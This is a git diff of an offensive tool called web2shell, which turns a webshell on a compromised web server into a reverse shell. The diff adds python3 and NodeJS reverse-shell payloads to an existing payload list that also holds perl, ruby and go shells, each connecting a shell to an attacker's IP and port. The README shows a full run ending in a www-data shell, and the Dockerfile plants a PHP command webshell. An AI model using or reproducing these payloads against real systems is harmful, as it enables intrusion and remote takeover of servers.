diff --git a/README.md b/README.md index b2a1ce0..a093431 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ Credit for the reverse shells goes to [PayloadAllTheThings.](https://github.com/ ## Usage ``` -usage: web2shell [-h] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] [--verbose] url +usage: web2shell [-h] [-v] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] [--only [ONLY ...]] url Automate converting webshells into reverse shells. @@ -16,13 +16,14 @@ positional arguments: options: -h, --help show this help message and exit + -v, --verbose verbose command output -i INTERFACE, --interface INTERFACE - the interface to use when listening for a remote shell. Default is localhost. + the interface to use when listening for a remote shell. If none is provided you will be prompted to select one. --force force command execution even if initial check is invalid --ip IP IP address of your own listener (skips listener setup if both IP and port are set) --port PORT port of your own listener --nc NC path to local nc binary - --verbose verbose command output + --only [ONLY ...] list of bins to test, ignores all others. ex: --only python php node ``` Providing an IP and port will cause the program to skip the listener setup and assume you already have netcat/a comparable listener running at that address. @@ -46,7 +47,7 @@ The included payloads have all been tested on a simple webshell and work. If you Example execution on local Docker image (see `demo/README.md`) ``` -[evan@ejedev web2shell]$ python3 web2shell.py -i docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL +[evan@ejedev web2shell]$ python3 web2shell.py http://127.0.0.1:8080/cmd.php?cmd=SHELL o o o o O .oOOo. O O O @@ -57,17 +58,22 @@ Example execution on local Docker image (see `demo/README.md`) o O O O o O .O O o O O o o `Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo --------------------------------------------------- - @ejedev + v0.1.2 @ejedev Verifying commands can be executed... Available interfaces... [-] lo [-] enp4s0 -[-] br-aa3534e13396 -[-] br-c7551daa06d2 +[-] br-3bd00064871f [-] docker0 +[-] br-a01c69609a5e [-] br-a193929c6ae4 -[-] veth57bc03a +[-] br-aa3534e13396 +[-] br-c7551daa06d2 +[-] br-2369a8165a53 +[-] veth7b49643 +No interface provided. Please enter the name of an available interface or 'exit' to quit: +> docker0 docker0 selected. Address to use is 172.17.0.1 Testing ports... [x] 1025 already in use or unavailable. @@ -80,20 +86,19 @@ Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1026 Ncat: Listening on 0.0.0.0:1026 [-] perl found at /usr/bin/perl -[-] perl found at /usr/bin/perl5.32-x86_64-linux-gnu [-] php found at /usr/local/bin/php -[-] python found at /usr/bin/python3.9 -[-] ruby found at /usr/bin/ruby2.7 +[-] python3 found at /usr/bin/python3 [-] ruby found at /usr/bin/ruby [-] go found at /usr/bin/go +[-] node found at /usr/bin/node Finding shells... -[-] bash found at /bin/bash -[-] sh found at /bin/sh +[-] bash found at /usr/bin/bash +[-] sh found at /usr/bin/sh Executing reverse shell... -Bins to test: 7 +Bins to test: 6 Shells to test: 2 [!] Attempting perl payloads for path /usr/bin/perl Ncat: Connection from 172.17.0.2. -Ncat: Connection from 172.17.0.2:44590. -www-data@122099e5b76d:/var/www/html$ +Ncat: Connection from 172.17.0.2:40170. +www-data@849d7a9007c8:/var/www/html$ ``` diff --git a/data/payloads.py b/data/payloads.py index f39ad38..25439d8 100644 --- a/data/payloads.py +++ b/data/payloads.py @@ -16,12 +16,21 @@ 'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'', 'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'', ], + # TODO Add support for multiple binaries with the same payload list. + "python3": [ + 'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("SHELLHERE")\'', + 'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'', + 'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'', + ], "ruby": [ 'PATHHERE -rsocket -e\'exit if fork;c=TCPSocket.new("IPHERE","PORTHERE");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}\'' ], "go": [ 'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("SHELLHERE");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go' ], + "node": [ + 'echo \'(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("SHELLHERE", []); var client = new net.Socket(); client.connect(PORTHERE, "IPHERE", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();\' > /tmp/t.js && node /tmp/t.js && rm /tmp/t.js' + ], } shells = [ diff --git a/demo/Dockerfile b/demo/Dockerfile index bcea063..e36a38f 100644 --- a/demo/Dockerfile +++ b/demo/Dockerfile @@ -1,4 +1,4 @@ -FROM php:7.4.27-apache +FROM php:8.2.12-apache WORKDIR /var/www/html @@ -6,7 +6,7 @@ RUN echo "PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbW RUN apt update -RUN apt install python3 ruby golang -y +RUN apt install python3 ruby golang nodejs -y EXPOSE 80 diff --git a/demo/README.md b/demo/README.md index 79fed4b..c55a1c7 100644 --- a/demo/README.md +++ b/demo/README.md @@ -4,6 +4,8 @@ 2. Run the image (`docker run -it -p 8080:80 webshell`) 3. Use web2shell to secure a remote connection on the docker0 interface (`python3 web2shell.py --interface docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL`) +You can test individual shells with the `--only` flag. Please read the help menu for more info. + Note: This Docker container has the binaries for all supported reverse shells. They are as follows: - Perl @@ -11,3 +13,4 @@ Note: This Docker container has the binaries for all supported reverse shells. T - Python - Ruby - Golang +- NodeJS diff --git a/modules/commands.py b/modules/commands.py index 1f26940..738ce60 100644 --- a/modules/commands.py +++ b/modules/commands.py @@ -15,9 +15,12 @@ def execute(url: str, command: str) -> str: return data.text -def find_bins(url: str, verbose: bool, bins: list) -> list: +def find_bins(url: str, verbose: bool, bins: list, only: list = []) -> list: valid = [] for bin in bins: + if len(only) > 0: + if bin not in only: + continue result = execute(url, f"whereis {bin}") logger.log(result, types.Status.VERBOSE, True, verbose) for path in result.split(" "): diff --git a/modules/connection.py b/modules/connection.py index 55b91ed..62b3556 100644 --- a/modules/connection.py +++ b/modules/connection.py @@ -12,11 +12,16 @@ def get_ip(interfaces: dict, provided_inteface: str) -> str: if provided_inteface == interface: selected = interface if selected is None: - logger.log("No interface provided. Defaulting to localhost.") - return "127.0.0.1" - else: - logger.log(f"{selected} selected. Address to use is {interfaces[selected][0].address}") - return interfaces[selected][0].address + logger.log("No interface provided. Please enter the name of an available interface or 'exit' to quit:") + while selected is None: + inputed = input("> ") + if inputed.lower() == "exit": + quit() + else: + if inputed in interfaces: + selected = inputed + logger.log(f"{selected} selected. Address to use is {interfaces[selected][0].address}") + return interfaces[selected][0].address def get_port(ip: str) -> int: diff --git a/modules/flags.py b/modules/flags.py index 008f19e..89c82af 100644 --- a/modules/flags.py +++ b/modules/flags.py @@ -4,10 +4,11 @@ def setup(parser): help='webshell URL, replace the provided command with "SHELL". ex: https://example.com/shell.php?cmd=SHELL', type=str, ) + parser.add_argument("-v", "--verbose", help="verbose command output", required=False, action="store_true") parser.add_argument( "-i", "--interface", - help="the interface to use when listening for a remote shell. Default is localhost.", + help="the interface to use when listening for a remote shell. If none is provided you will be prompted to select one.", type=str, required=False, default="", @@ -34,5 +35,12 @@ def setup(parser): required=False, default=None, ) - parser.add_argument("--verbose", help="verbose command output", required=False, action="store_true") + parser.add_argument( + "--only", + help="list of bins to test, ignores all others. ex: --only python php", + nargs="*", + type=str, + required=False, + default=[], + ) return parser diff --git a/modules/logger.py b/modules/logger.py index b5cf794..865c8cf 100644 --- a/modules/logger.py +++ b/modules/logger.py @@ -13,7 +13,7 @@ def splash(): o O O O o O .O O o O O o o `Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo --------------------------------------------------- - v0.1.1 @ejedev + v0.1.2 @ejedev """ ) diff --git a/web2shell.py b/web2shell.py index 08e78ed..c2ec22f 100644 --- a/web2shell.py +++ b/web2shell.py @@ -41,7 +41,7 @@ port = results.port logger.log(f"Final connection string will be {ip}:{port}...") logger.log("Finding bins...") -bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys())) +bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys()), results.only) logger.log("Finding shells...") shells = commands.find_bins(results.url, results.verbose, payloads.shells) if len(bins) < 1: